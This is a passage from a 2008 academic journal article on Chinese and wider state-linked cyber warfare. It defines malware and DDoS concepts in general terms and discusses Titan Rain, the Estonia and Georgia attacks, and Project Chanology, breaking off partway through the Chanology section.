The agency spent millions of dollars on new, clean, hardware and software, because they could not restore the integrity of the compromised network (Tkacik 2007).
A virus is a self-replicating program that spreads by inserting copies of itself into other executable code or documents.
The original virus may modify the copies, known as a metamorphic virus, making its destruction more difficult (similar to genetic diversity).
A virus can spread from one computer to another through the internet, email, the network file system, or removable medium such as a USB drive.
Damage caused by viruses include deleting files, damaging programs, reformatting the hard drive, and disrupting or debilitating the system completely.
Viruses may also be used as PSYOPs or demoralizers by presenting text, video, or audio messages to the computer user.
In order to replicate, a virus must be allowed to execute code and write to memory.
For this reason, many viruses attach themselves to executable files, such as Word and pdf documents, or html links.
Some viruses try to avoid detection by killing the tasks associated with antivirus software before it can detect them.
The Panda Burning Incense Virus is an example of cyber warfare posing an internal security threat to China, and it set a legal precedent for pursuing and prosecuting hackers (Lemon 2007).
Like a virus, a worm is also a self-replicating program.
A worm is a program or suite of programs that attempts to scan a network for vulnerable systems and automatically exploit those vulnerabilities.
Some worms work passively, sniffing for usernames and passwords and using those to compromise accounts, installing copies of themselves into each such account, and typically relaying the compromised account information back to the intruder through a Culture Mandala, Vol.
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1, October 2008, pp.28-80                                        Copyright  2008 Jason Fritz 52 covert channel.
Many worms have been designed only to spread, and do not attempt to alter the systems through which they pass.
However, the Morris worm and Mydoom showed that network traffic and other unintended effects can cause major disruption.
A payload is code designed to do more than spread the worm - it might delete files on a host system, encrypt files for extortion, send documents via email, or destroy the target computer by rendering it unusable.
The Code Red and Code Red II worms were the most successful worms in internet history, causing nearly 2 billion in damages and infecting over 600,000 computers.
The worms, which may have originated from a university in Guangdong, China (United States General Accounting Office 2001), attacked computers running Microsofts IIS web server and exploited a buffer overflow.
Home computers were largely unaffected however any attempt at infection caused them to crash.
The worms created slow downs in internet speed, knocked websites and networks offline, and defaced websites with the phrase Hacked by Chinese - although Chinese involvement was never confirmed.
The attacks may have been state- sponsored, they may have been underground hackers and script kiddies, or they may have been a combination of the two.
A script kiddie is not an expert in computer security.
They use pre-packaged automated tools written by others and found online, such as WinNuke applications, Back Orifice, NetBus, Sub7, Metasploit, and ProRat.
Even though script kiddies lack sophistication, and they are looked down on by the hacker culture, they still pose a significant security risk.
When media attention is drawn to internet incidents, it is often followed by individuals seeking to participate without any coordinated effort or instructions to do so.
Code Red II had a slightly different payload that could open a backdoor, leaving the computers vulnerable to further exploitation (Schwartz 2007 Cost of Code Red Rising 2001).
The Code Red worms coincided with the collision of a US reconnaissance plane and a Chinese fighter jet, in which the Chinese pilot died, and known as the Hainan or EP-3 Incident.
Patriotic Chinese hackers defaced dozens of US military and computer industry websites.
Patriotic US hackers responded with inflammatory web page defacements, comment spamming, posting of photoshopped derogatory pictures, and probably were the source of the Code Blue Worm (Delio 2001).
Code Blue sought out systems infected by Code Red and reprogrammed them to launch attacks against targets based in mainland China.
In particular, it launched DDoS attacks against the Chinese security firm NS Focus.
These type of attacks could be used clandestinely against ones own country to spur nationalism.
Or cyber attacks could be used by a third party state, or organization, to create conflict between external states to further some masked goal.
For example, Iran could benefit by creating tension between the US and China through an attack prior to a US proposed UN resolution, in which China has veto power (Onley and Wait 2006 Delio 2001).
In 2004, the Myfip worm probably originated from IP addresses in the Chinese municipality of Tianjin (Brenner 2005).
This worm stole pdf files, with later variants targeting Microsoft Word documents, schematics, and circuit board layouts.
Among the victims were Bank of America, BJs Wholesale Club, and Lexis-Nexis.
The worm not only stole intellectual property, such as product designs, but also took customer lists and databases.
Identifying the number of companies affected poses difficulties as they do not wish to further damage their business by coming forward.
To do so can damage consumer confidence and require the Culture Mandala, Vol.
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1, October 2008, pp.28-80                                        Copyright  2008 Jason Fritz 53 implementation of costly security measures.
Businesses may also be oblivious to the number of previous infections and potential data loss as they simply update their patches and move on (Brenner 2005).
A denial-of-service (DoS) attack or distributed denial-of-service (DDoS) attack is an attempt to make a computer resource unavailable to its intended users.
This is accomplished by flooding the target with data requests, so that it cannot respond to legitimate traffic, or so that it responds so slowly that it is rendered useless.
DDoS attacks may be conducted by a collective of individuals, often co-ordinating their efforts, or by a network of computers under the control of a single attacker.
Such networks are called botnets, with each computer in the botnet being known as a bot, or a zombie.
These computers have been taken control of by malicious users without the knowledge of the owner, usually through a rootkit, Trojan, or virus.
Sobig and Mydoom are examples of worms which created zombies.
A botnets originator, known as a bot herder, can control the group remotely, usually through a means such as IRC, and usually for nefarious purposes.
Infected zombie computers are used to send email spam, to host contraband data such as child pornography, or to engage in distributed denial-of-service attacks as a form of extortion.
The services of a bot herder can be rented on the black market.
One estimate suggested that Chinese hackers have 750,000 zombie computers in the US alone (Waterman 2007).
A similar, but non-malicious, phenomenon involving the banding together of excess computer power can be seen in the Search for Extra- Terrestrial Intelligence (SETIhome), or Stanford Universitys protein folding simulations (Foldinghome).
DoS and DDoS attacks can prevent an internet site or service from functioning temporarily or indefinitely.
DOS attacks can also lead to problems in the network branches around the actual computer being attacked.
For example, the bandwidth of a router between the internet and a local area network may be consumed by an attack, compromising not only the intended computer, but also the entire network.
If the attack is conducted on a sufficiently large scale, entire geographical regions of internet connectivity can be compromised without the attackers knowledge or intent by incorrectly configured or flimsy network infrastructure equipment.
Scripts can be set up to automate the process, and subtle variations of these attacks, such as smurf attacks, fraggle attacks, teardrop attack, ping flood, SYN flood, IRC floods, banana attack, Fork bomb, pulsing zombie, and nuke exemplify their sophistication.
Various DoS-causing exploits such as buffer overflow can confuse server-running software and fill the disk space or consume all available memory or CPU time.
A permanent denial- of-service (PDoS), also known loosely as phlashing, is an attack that damages a system so badly that it requires replacement or reinstallation of hardware.
Unlike the DDoS, a PDoS attack exploits security flaws in the remote management interfaces of the victims hardware, be it routers, printers, or other networking hardware.
These flaws leave the door open for an attacker to remotely update the hardware firmware to a modified, corrupt or defective firmware image, therefore bricking the device and making it permanently unusable for its original purpose.
The PDoS is a hardware-targeted attack which can be much faster and requires fewer resources than using a botnet in a DDoS attack.
It is important to note the difference between a DDoS and DoS attack.
If an attacker mounts a smurf attack from a single host it would be classified as a DoS attack.
In fact, any attack directed against computer availability would be classified as a DoS attack.
On the other hand, if an attacker uses a thousand zombie systems to simultaneously launch smurf attacks against a remote host, this would be classified as a DDoS attack.
Several botnets have been found and removed from the internet.
Dutch police located and disbanded a 1.5 million node Culture Mandala, Vol.
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1, October 2008, pp.28-80                                        Copyright  2008 Jason Fritz 54 botnet, and the Norwegian ISP Telenor disbanded a 10,000 node botnet (Keizer 2005 Leyden 2004).
Large, coordinated international efforts to shut down botnets have also been initiated, such as Operation Spam Zombies, which included agencies from 25 different states (Operation Spam Zombies 2005).
It has been estimated that up to one quarter of all personal computers connected to the internet may become part of a botnet.
And an estimated 50 of all pirated Windows programs contain pre-installed Trojans.
China is renowned for its use of pirated Windows programs.
This is a cause for concern for China as it bogs down internet and computer efficiency.
It also could make Chinese computers susceptible to international condemnation, if their computers are used via proxy.
Further, it demonstrates to China the value of developing its own operating systems for domestic and world markets, either to avoid such problems, or to create them for others (Weber 2007).
There are also hybrids.
A worm can install a rootkit, and a rootkit might include copies of one or more worms, packet sniffers, or port scanners.
A rootkit or virus may be used to conduct a DoS attack, and compromising the system may include some traditional social engineering (HUMINT).
So all of these terms have somewhat overlapping usage and they are often misused by mainstream media.
The depth of security hacking goes far beyond the examples given here.
These examples serve as an introduction to the level of sophistication with which computers can be compromised, illustrating the difficulty in providing defence.
They also demonstrate the high level of damage that can be caused by a small group of individuals who work with little funding.
This adds to the lack of attribution as it does not require the funding and support of a military, making state-sponsored hacking easy to deny.
In combination with anonymity tools and the ability to hide intrusions, security hacking provides a high level of stealth and asymmetry.
Military Applications of Hacking The USAs paramount position and its heavy reliance on computers have made it a prime target.
For this reason it has some of the most extensive information on cyber attacks.
The United States has had millions of computers infected at a cost in the billions of dollars.
Hackers may be lone teenagers searching for fun or curiosity or state-sponsored intelligence gathering and technology transfer, the determination of which is highly problematic.
Frequently hit targets include the US Department of Defense, the Pentagon, NASA, Los Alamos Laboratories, Boeing, Lockheed Martin, Northrop Grumman, Raytheon, Harvard University, California Institute of Technology, and a wide range of think tanks, defence contractors, military installations, and high profile commercial corporations.
The attacks have come from across the globe and identifying and prosecting those responsible has proven difficult (Greenberg 2007 Hacking U.S. Government Computers from Overseas 2001).
These hackers have been able to steal classified data, such as naval codes, information on missile guidance systems, personnel performance reports, weapons development, and descriptions of the movement of equipment and personnel.
Jonathan (c0mrade) James downloaded 1.7 million worth of software used to control the International Space Stations life support.
Dutch teenagers stole information on the Patriot rocket launching system, and the Navys Tomahawk cruise missile, and tried to sell it to Iraqi officials during the Gulf War Iraq thought it was a hoax and declined (Miklaszewski 1999).
Hackers have commandeered US commercial, educational, and military computers and used them in attacks against other nations, including Taiwan.
Hackers can cause an immense amount of damage to a state, stealing information, deleting and changing files, transferring capital, and Culture Mandala, Vol.
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1, October 2008, pp.28-80                                        Copyright  2008 Jason Fritz 55 destroying programs or entire networks (Hacking U.S. Government Computers from Overseas 2001 Christensen 1999 Qian and Wang 1999).
In 2001 and 2002 Gary (Solo) McKinnon probed US Army, Navy, Air Force, Department of Defence, and NASA computers causing 700,000 worth of damage, taking down a network of 2,000 computers, accessing classified data, deleting and re-writing files.
He accomplished this on his own from his home in London using commercially available software and a dial up connection.
McKinnon claims he was searching for proof that the US is hiding information about UFOs and an anti-gravity propulsion system.
This illustrates the relative ease with which intrusions can take place, the difficulty of determining whether or not it is a state-sponsored action, and a lack of legal framework for timely response.
With such attacks occurring so frequently to vital industries, the US, with the largest military budget in the world, has inevitably developed a means to defend against them, which by association means they have also developed the means to conduct cyber reconnaissance and cyber attacks itself.
China, too, is the subject of frequent attacks, albeit less publicized, and it will want to remain competitive with US military capabilities (Boyd 2008 Bruno 2008).
Titan Rain A coordinated series of attacks against US installations are strong indicators that China is developing a cyber warfare capability.
The attacks which ran from 2003 to 2006 were designated Titan Rain.
They targeted US defence and aerospace installations, Sandia National Laboratories, Lockheed Martin, Redstone Arsenal, the Department of Defense, and NASA, gathering sensitive military data.
The United Kingdom also reported being attacked by the Titan Rain hackers.
Much of the data stolen was not classified however it was not meant for public or foreign consumption, nor was it meant for unlicensed use.
For example, the US militarys classified data is typically not connected to the broader internet, but sensitive information such as logistics support for the armed forces is.
This can provide valuable insight into field tested experience, as well as expose possible weaknesses to an adversary (Brenner 2007 Espiner 2005).
In addition to the unauthorized gathering, the US is concerned that enough of this data could be used to piece together a larger picture, one that would be considered classified.
Among the information gathered were a stockpile of aerospace documents with hundreds of detailed schematics about propulsion systems, solar panelling and fuel tanks for the Mars Reconnaissance Orbiter . . .
specs for the aviation-mission-planning system for Army helicopters, as well as Falconview 3.2, the flight-planning software used by the Army and Air Force (Thornburgh 2005).
Although the majority of data appears to have been benign, its massive quantity may one day prove to include items that the US deems classified at a later date.
These attacks could be a staging ground, testing US defences, for future operations of a more serious nature.
Titan Rain demonstrated how China could use cyber warfare as an asymmetric tactic (Norton Taylor 2007).
Apparently, a team of hackers, estimated to number between 6 to 30, would take control of US defence computers, copy everything on the hard drive within 30 minutes, and send that data to zombie computers in South Korea, Hong Kong, or Taiwan, where it was subsequently routed to computers in the Chinese province of Guangdong.
The ability to route the data makes it difficult to prove the attackers identity.
While it is believed China was responsible, there is no certainty that the data was not further routed to another location.
Additionally, those computers may have been under remote control by a separate Culture Mandala, Vol.
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1, October 2008, pp.28-80                                        Copyright  2008 Jason Fritz 56 government, or the hackers may not have been state-sponsored.
The attacks themselves were not particularly sophisticated, requiring only minimal training with commercially available products.
The instructions on how to conduct such attacks are widely available on the internet itself (Delio 2001).
But attempts to identify the attackers would require the burdensome task of sending covert agents to physically identify the source.
By using the virtual world, hackers are able to traverse great distances without leaving their station.
On the night of November 1, 2004, Titan Rain members scanned, broke into, and retrieved data from defence installations in Arizona, Virginia, California, and Alabama (in that order) all within a period of six hours.
Once attackers gain control of US computers, through methods such as Trojans, they can not only shut down the system, they can also conduct attacks using those computers.
This could be used to raise condemnation of the US, as it would appear the US is attacking other states (Graham 2005 Thornburgh 2005).
While proof is non-existent, some US officials believe that the PLA was responsible (Norton-Taylor 2007).
Chinese military doctrine repeatedly discusses the importance of penetrating an adversarys military logistics and personnel networks.
Furthermore, the multiple intrusions into what nuisance and criminal hackers would regard as boring, mundane networks-- networks that do not offer the treasure trove of credit card numbers, bank accounts, and identity data that criminal hackers typically seek-- suggest a military purpose (Tkacik 2007).
Further Evidence of Build-up Attacks under the code name Titan Rain have ceased.
However, OSINT suggests that cyber attacks from China persist.
From 2005 to 2007, the US State Department, Bureau of Industry and Security, DoD, National Nuclear Security Administration, Department of Homeland Security, Boeing, Northrop Grumman, Raytheon, Lockheed Martin, and defence-related think tanks had intrusions from Chinese ISPs (Chinas Proliferation Practices and the Development of Its Cyber and Space Warfare Capabilities 2008 Leyden 2007, Tkacik 2007, Almeida 2006).
Sensitive but non-classified data continues to be harvested items such as emails and the names and other personal information on more than 1,500 employees (Onley and Wait 2006).
Attacks from Chinese ISPs have forced entire networks to be taken offline or replaced.
In 2005 alone, the Pentagon logged more than 79,000 attempted intrusions (Reid 2007).
Cyber reconnaissance and attacks from Chinese IP addresses had become so frequent and aggressive that US President George W. Bush  raised the subject to Chinese President Hu Jintao at the APEC summit in 2007.
The difficulty of attribution in cyber attacks, such as proxies, botnets, non-state-sponsored hackers, and a lack of legal framework to pursue them, means these attacks may not have come from China however the accusations alone are evidence that China will want to develop a cyber warfare capability.
China now has the worlds largest internet population, so in terms of volume, China has the most targets to defend.
Chinese officials have stated that they are the victim of massive and shocking losses of state and military secrets via the Internet (Leyden 2007).
Foreign states wishing to use cyber warfare against the US may recognise the focus being placed on China and use Chinese computers to conduct their own reconnaissance and attacks by using botnets or proxies based there.
Further, denouncements by the US may indicate that retaliatory responses are in the works and that the US will use allegations of Chinese incursions to bolster support for increasing US cyber warfare capability, thereby putting China further behind in military competitiveness.
Damage to Chinas soft power, particular in relation to ICT, may affect Chinas economy by making investors cautious and export controls/legal bureaucracy more stringent.
PSYOPS campaigns Culture Mandala, Vol.
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1, October 2008, pp.28-80                                        Copyright  2008 Jason Fritz 57 and media warfare, of the type outlined by the US Information Operations Roadmap (discussed above), may help China regain its lost credibility.
These are elements of cyber warfare, but viewed as less offensive than reconnaissance and direct cyber3 attack.
Non-US Foreign Allegations The US is not alone in accusing China of using cyber warfare.
In 2007 and 2008, China was publicly accused of hacking into government facilities by officials in Australia, France, Germany, India, Japan, New Zealand, South Korea, and the UK (Basu 2008 Goodin 2008 Ha 2008 Leyden 2007 Marquand 2007).
The number of countries under Chinese attack could be far greater as some may not know that they are under attack, may not wish to reveal their weakness due to a loss of soft power and consumer confidence, or they do not wish to upset China as a valuable trading partner.
Hans Elmar Remberg, Vice President of the German Office for the Protection of the Constitution (Germanys domestic intelligence agency) stated that across the world the PRC is intensively gathering political, military, corporate-strategic and scientific information in order to bridge their technological gaps as quickly as possible (Tkacik 2007).
Unlike HUMINT, cyber warfare provides a lack of definitive attribution, makes distance nearly irrelevant, allows for the mass accumulation of data in a short span of time, and at a small cost in comparison to traditional espionage or military activities.
Cyber attacks, such as an incident that shut down the UK House of Commons, may only be small scale test runs, probing, or reconnaissance blunders, meaning that the true scope of cyber attack has yet to be seen (Norton-Taylor 2007).
Cyber reconnaissance appears to be the most beneficial tool of cyber warfare.
Beyond finding exploitation points in the military for future attack, the commercial sector allows China the opportunity to skip generations of research and development efforts, levelling the playing field in science and technology, and by association boosting economic and military might.
Chinese hackers have even gone after British parliamentiary files on human rights issues, showing a potential interest in relation to soft power, globalization, international condemnation, and the legal apparatus.
As Unrestricted Warfare has shown, there are no boundaries in relation to such military operations.
4.
Case Studies: Estonia, Georgia and Chanology The 2007 cyber attacks against Estonia, Georgia and Project Chanology are examples of large-scale cyber attacks.
The Estonian attacks were the first to show how cyber attack against a state provides a debilitating effect at a low cost, a lack of attribution, a lack of legal framework in defence, world-wide attention, and may point to a new arm of traditional attack.
The Russo-Georgian war of August 2008 was even more sophisticated and intense than the Estonian case, showing the maturation of the process.
Project Chanology reveals how the collective masses can use online tools to emerge as a powerful force without a central leadership.
This can be harnessed by military power through the tactics described in IO (Information Operations, see above).
And as a matter of internal security, Chanology- style movements must be carefully observed as they pose a non-traditional threat.
Estonia and Chanology are an emerging expression of warfare that is fuelled by new powers afforded by the internet, but spills over into the real world, not only through financial loss and media coverage (soft power), but also in the form of volatile protests, disruption, mob mentality, and the capability of drawing governments and militaries into unwanted actions.
Culture Mandala, Vol.
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1, October 2008, pp.28-80                                        Copyright  2008 Jason Fritz 58 Estonia In 2007, the Estonian government relocated a Soviet-era war memorial and bronze statue in Tallinn, stating that the memorial symbolised Soviet occupation.
The Russian government condemned the relocation, claiming it was a tribute to those who fought in World War II.
The relocation sparked protests which resulted in 150 injuries, one death, and a month-long cyber war campaign.
Estonian websites including parliament, banks, ministries, schools, and newspaper outlets were attacked with DDoS attacks and web page defacements.
Some websites also redirected users to images of Soviet soldiers and quotations from Martin Luther King about resisting evil.
Hackers who hit the ruling Reform Partys website left a fake message that the Estonian prime minister and his government were asking for Russian forgiveness and promising to return the statue to its original site (The Cyber Raiders Hitting Estonia 2007).
These attacks garnered world-wide attention.
The Russian government was directly accused by media outlets and the Estonian Prime Minister Andrus Ansip.
Russia had the motive and the means for such an attack.
However, there was no direct evidence to suggest that the attacks were state-sponsored.
There was evidence that some of the IP addresses used in the attacks belonged to Russian government officials, and instructions on how to carry out cyber warfare did circulate on Russian websites.
However, the source of DDoS attacks could have been masked by using proxies or botnets that are located across the globe.
Neither NATO nor European Commission experts were able to find any proof of official Russian government participation.
Further, the Russian government denounced Estonias claims and refused to participate in any type of investigation (Bright 2007 Estonia Fines Man for Cyber War 2008 Estonia Hit by Moscow Cyber War 2007).
Debilitating Effect at a Low Cost The effects of the cyber attacks were magnified as Estonia is one of the most internet-savvy states in the European Union (The Cyber Raiders Hitting Estonia 2007).
The Estonian government has pursued a paperless society, or e-government, and web-based banking.
Slowing down, or halting, banking services and newspaper outlets that rely on advertising revenue strains the economy.
This happens not only through a direct loss in revenue, but also with a reduction in productivity, lost efficiency, diverting resources, escalating frustration, and lost consumer and investor confidence.
Estonia also uses the internet to elect parliamentary officials, file their taxes and, via mobile phone, shop or pay for parking.
In some cases, website administrators simply blocked access from foreign states.
While this was effective in curbing the attacks, it completely cut off banking services to Estonians outside of the country, vital to Estonian business people abroad.
Spam emails inundated government officials inboxes, halting online communication from the Parliaments email server.
Officials closed off large portions of their network to keep more vital areas online.
A government briefing site was given high priority while the presidents website was sacrificed.
The 10 largest swarms of data requests by the hackers absorbed 90 megabits per second for up to 10 hours each, straining Estonias networks.
It was equivalent to downloading the entire Windows XP operating system every six seconds for 10 hours (Landler and Markoff 2007).
The cyber attacks on Estonia came close to shutting down the countrys digital infrastructure.
While these may seem more of a disruption than a collapse, the effects radiate out into society (Bright 2007 Estonia Hit by Moscow Cyber War 2007).
Culture Mandala, Vol.
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1, October 2008, pp.28-80                                        Copyright  2008 Jason Fritz 59 The month-long campaign caused companies to put resources into alternative infrastructure, such as going back to traditional mail, relying on telephones, fax, and libraries, and re- enforcing alternative methods of payment.
As well as the cost of material infrastructure, these type of cyber attacks cause a loss in productivity.
This includes paying more people to staff bank tellers, increased traffic on the streets, and long lines at retail outlets.
Newspaper outlets, telephone companies, and product distributors, have grown accustomed to using online tools, and now rely heavily on them.
While this might be a boon for some industries, the whole restructuring process weakens the nation in the short term.
The cyber attacks are comparable to the damage caused to industry (beyond tangible infrastructure) by flooding or blizzards.
It places a nation in a state of flux, and leaves it more vulnerable to a traditional attack.
DDoS attacks offer an enemy country an effective low cost assault with high deniability.
The majority of attacks on Estonia were DDoS, clogging its servers, switches, and routers.
Analysis from Arbor Networks revealed thousands of bots were used against Estonia from locations as diverse as the US, Vietnam, Peru, and China.
The cost to a state wanting to establish botnets is minimal, requiring only one person, an internet connection, and a basic computer.
While the information for conducting such attacks can be found online, it is more likely someone with expertise, such as non-government hacker groups, would be involved in securing the rental of a botnet.
This still keeps the number at a minimum, and hackers can find alternative ways to fund the rental of servers with high bandwidth, such as credit card theft (Waterman 2007 The Cyber Raiders Hitting Estonia 2007).
Deniability Determining the source of DDoS attacks is a difficult task, as they can be conducted with proxies or botnets.
Even if an IP address is obtained, there is no certainty that that was the true source of the attack and not one link in a chain of computers or simply a compromised computer being used unbeknownst to the owner.
Message boards and chat rooms located on Russian websites served as a meeting place for attackers, a place to coordinate their time of attack, discuss targets, and recruit others.
Because these individuals can be scattered across the globe, it is difficult to assign a group identity to them.
The web host may not be aware that plans are being laid on their website, or they may not realise the scope of such plans.
These discussions can appear as a childish prank, overshadowing the serious repercussions of the actions taking place, with no individual feeling responsible to put a stop to it.
The Estonia cyber attacks raised debate as to whether they were sponsored by the Russian government.
Some believed the attacks were too sophisticated to be the work of individuals or even organised crime.
Others believed the attacks were endorsed and guided by the Russian government, but thought they were not directly involved  using online operatives and media warfare as mentioned in IO.
Russia has been accused in the past of sponsoring web brigades - cyber attack teams - that conduct PSYOPS, disinformation, spamming, and cyber bullying, such as revealing an enemys personal details (Polyanskaya 2006).
From the perspective of officials from the United States Computer Emergency Readiness Team and the Pentagons Defense Advanced Research Projects Agency, the attacks were not conducted by sophisticated means, nor were they state-sponsored.
The attackers used commercially available off-the-shelf computers and scripts that are readily available on the internet (Waterman 2007).
Data from the Arbor Networks Active Threat Level Analysis System (ATLAS) indicated that the attacks were conducted by multiple distributed botnets which appeared to have been acting independently (Kerner 2007).
Even if the attacks were traced to Culture Mandala, Vol.
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1, October 2008, pp.28-80                                        Copyright  2008 Jason Fritz 60 Russian government computers there was no certainty that those computers had not been taken over by remote hackers.
It would also seem foolish for the Russian government to use its own computers for such an attack, especially when it has the expertise to mask its identity, unless doing so was masking its identity (knowing that you know I know).
Johannes Ullrich, chief research officer of the Bethesda, stated: Attributing a distributed denial-of-service attack like this to a government is hard.
It may as well be a group of bot herders showing patriotism, kind of like what we had with Web defacements during the US-China spy-plane crisis [in 2001] (Brenner 2007).
As evidence of the Estonia case continued to be examined, the consensus was that the Russian government was not directly involved.
It appeared to have been hacktavists or simply a mass number of individuals upset over the relocation of the statue.
Plans for the attacks were posted on internet forums, message boards, and chat groups prior to the attacks, including detailed instructions on how to send disruptive messages and which Estonian websites to use as targets.
The discussion of proposed attacks had become so popular that it was indexed by Google, causing a Google search for the topic to return these incendiary websites at the top of its search results, bringing them to the attention of even more people.
Despite being aware of these discussions prior to the attacks, Estonia could do little to stop them.
Estonian officials could not identify the individuals discussing attacks, as online (not real) names were used, and obtaining IP addresses would involve going after the website administrator and foreign ISP  a task with which mega-corporations such as the MPAA and RIAA have difficulty, despite their massive funding and even when going after domestic IP addresses.
Further, there is no certainty that an individual participating in the discussion will act on his or her comments, there were mass numbers of people involved (each with a different IP address, ISP, and host state to deal with), and there is no solid legal apparatus in place to deal with such an undertaking.
Nonetheless, there was a growing and visible threat.
Estonian officials may have been better off devoting their resources to plant online operatives.
These operatives could have placed well thought out comments to try and sway the crowd.
Rather than spending all resources on physical prevention, some resources could be used to train operatives in PSYOPS, mob mentality, propaganda, and logical deterrents such as subtly mentioning flaws in their arguments, or the consequences of participating in such an attack.
In order to be effective this would also require an in-depth understanding of internet subcultures (List of Internet Phenomena 2008 Pang 2008 Slashdot Subculture 2008 Slashdot Trolling Phenomenon 2008).
Subtle techniques, such as self-deprecating humour, can sway the crowds emotions and train of thought (Landler and Markoff 2007).
Russian government involvement may have been as an instigator, knowingly or not, as there [were] anti-Estonian sentiments, fuelled by Russian state propaganda, and the sentiments were voiced in articles, blogs, forums and the press (The Cyber Raiders Hitting Estonia 2007).
This could be a type of outsourcing of activity that provides a low cost attack with high deniability.
Once in the hands of an unwitting mob, the tools necessary are readily available and the means are simple, thereby coordinating a massive data request simultaneously.
On an individual level it takes very little effort, yet as a combined whole it has devastating effect with emergent sophistication.
This small individual role, may also cause participants to feel less responsible (Estonia Fines Man for Cyber War 2008).
Legality In addition to the difficulty of identifying the source of a cyber attack, a lack of legal framework to deal with such an attack makes it exceedingly problematic.
Only one person Culture Mandala, Vol.
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1, October 2008, pp.28-80                                        Copyright  2008 Jason Fritz 61 has been charged and convicted in connection with the Estonian attacks.
Dmitri Galushkevich was fined 17,500 kroons for attacking the Reform Party website.
Galushkevich admitted to his assault on the site, and he is believed to have acted alone.
Several leads in identifying other potential participants in the Estonian attacks relied on Russian cooperation.
Estonia made a formal investigation assistance request under a Mutual Legal Assistance Treaty (MLAT) between the states.
Moscow appeared as though it would help, but after a delay in action, it ultimately refused to cooperate, stating that the proposed investigation was not covered by the MLAT.
Further, the Head of the Russian Military Forecasting Centre stated that the attacks against Estonia had not violated any international agreements because no such agreements exist (Alo 2007 Sobrale 2007).
A pro-Kremlin youth movement called The Commissar of the Nashi, claimed responsibility for some of the attacks  however, the group is located within Moldova and Transnistria which are beyond the jurisdiction of Interpol and no MLAT applies.
This severely hampers the investigation as pursuing all-EU arrest warrants for these suspects would be largely a symbolic gesture (Commissar of Nashi 2007 Estonia Fines Man for Cyber War 2008 Ministry of Internal Affairs 2007).
International Publicity Regardless of whether the attacks were state-sponsored, the Estonian incident brought cyber warfare to the attention of the global community.
The case was studied intensively by many countries and military planners, since it was believed to have been state-sponsored and a modern example of a large-scale attack.
Experts from the North Atlantic Treaty Organization (NATO), the European Commission, and organisations from the US and Israel were dispatched to offer assistance and collect first hand analysis of the event.
The implications are far reaching: For NATO, the attack may lead to a discussion of whether it needs to modify its commitment to collective defense, enshrined in Article V of the North Atlantic Treaty (Landler and Markoff 2007).
There is no precedence for an attack of this type.
If a states communications centre is attacked by a missile, it is considered an act of war.
But what is the response to a cyber attack on that same installation, with the same debilitating effect?
The Estonian attacks have encouraged the development of a NATO Cybernetic Defence Centre in Estonia.
This is an extension of Estonias 1996 push for the expansion of computer and network infrastructure in Estonia, nicknamed the Tigers Leap (Bright 2007 A Cyber-Riot 2007 Estonia Has No Evidence of Kremlin Involvement 2007).
Georgia The 2008 war between Russia and Georgia over South Ossetia appeared to mirror the Estonian attacks, hinting that cyber warfare may become a standard addition to traditional warfare, whether that be state-sponsored or not.
Hours after fighting broke out, Russian hackers had established a site, StopGeorgia.ru, where visitors could view a list of Georgian websites being targeted, showing which sites had been successfully brought down, and download a simple program that enabled their own computer to join the attack (Waterman 2008).
The attacks included DDoS attacks from six different botnets against government and news websites, webpage defacements, spamming, the distribution of Georgian officials email addresses, and distribution of a list of Georgian websites with known security flaws.
The level of sophistication and intensity of the Georgian attacks surpassed that of the Estonian attacks, showing that capability is increasing.
Russian-based hackers tried to halt the Georgian hacker community from responding, by taking down the two highest-profile Georgian hacker sites, hacker.ge and warez.ge, in their initial assault (Waterman 2008).
However, Georgian hackers did respond, going after Russian news sites, and in some cases, Culture Mandala, Vol.
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1, October 2008, pp.28-80                                        Copyright  2008 Jason Fritz 62 spoofing those sites to redirect traffic to pro-Georgian news sources (Coleman 2008 Griggs 2008).
Georgian officials asserted that the Russian military was behind the attacks, but they could not provide concrete evidence.
Regardless, it represents a new aspect to warfare that must be taken into account.
Patriotic cyber attacks may now accompany all traditional wars.
If this is not shaped according to government objectives, it runs the risk of undermining operations.
For example, patriotic cyber attacks could damage soft power, they could incite damaging retaliatory attacks, and they could drag state powers into conflict.
Chanology China may wish to tap into the power of a broader range of internet users, those who are not government sponsored, nor skilled hackers, yet have wide-ranging knowledge of the internet through frequent use.
In one view: Ive always argued that I do not believe the patriotic hackers are dedicated government agents, but I do believe that they are treated as useful idiots by the Chinese regime, and that the Chinese regime has figured out a rough method, using the propaganda apparatus, to shape the behavior of these patriotic hacker groups, many of whom are getting older and going from black hat to gray hat to white hat, and they want wives and jobs and houses, and the only way to get certified as an information security professional in China is to be certified by the ministries of public and state security.
(
Chinas Proliferation Practices, and the Development of Its Cyber and Space Warfare Capabilities 2008) A powerful array of tools is openly available to anyone with an internet connection, and they require little effort to learn.
Free web-space, image and video uploading sites, such as blogs, Flickr and YouTube, give anyone with an internet connection multimedia sharing tools that rival traditional media.
Social networking sites, such as Facebook and Digg, provide additional means to spread this information to a massive audience which, given enough popularity, draws in the traditional media as well.
China can use propaganda and PSYOPs to influence this crowd, using it as a political tool.
For example, it can be used to organise protest and cyber attacks denouncing Japans lack of remorse for WWII atrocities, to criticize Falun Gong followers, or to rally support for the One China Policy (Faiola 2005).
Project Chanology gives insight into how these non-hacker internet users can come together towards a common goal of disruption using the rapid growth of available internet capabilities.
It also illustrates a growing need to understand these emergent communities as they pose a non- traditional security threat.
Project Chanology was a series of cyber attacks and real life protests organised over the internet against the Church of Scientology (CoS).
The CoS is the largest organization devoted to the practice and promotion of the Scientology belief system.
They are often criticized as being a cult which tries to exploit people for financial gain.
A loose group of internet users named Anonymous orchestrated attacks against the CoS using multiple image boards, such as 4chan, 7chan, 12chan, 420chan, and 711chan, as well as supplementary wikis, IRC channels, YouTube, Facebook, Slashdot, Digg, and Encyclopaedia Dramatica.
Users of the channels are collectively known as Anonymous, or anon, due to the websites use of anonymous posting however their internet networks extend beyond the image boards.
A large and diverse population of internet users identify with the name Anonymous, many having differing viewpoints and objectives.
This point is often lost on the media, who mistakenly believe Anonymous represents a cohesive group.
Anonymous is connected, but the nodes which connect each member are not the same, and therefore they do not all rally to the same cause.
Culture Mandala, Vol.
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1, October 2008, pp.28-80                                        Copyright  2008 Jason Fritz 63 Project Chanology was officially launched in the form of a video posted on YouTube on January 21, 2008.
The video stated that the attacks where in response to Scientologys internet censorship, dubious recruitment tactics, saturating of disaster areas to help victims, and overall belief system.
Of particular contention was Scientologys forced removal of a leaked Tom Cruise video interview, in which he expounded his love for Scientology.
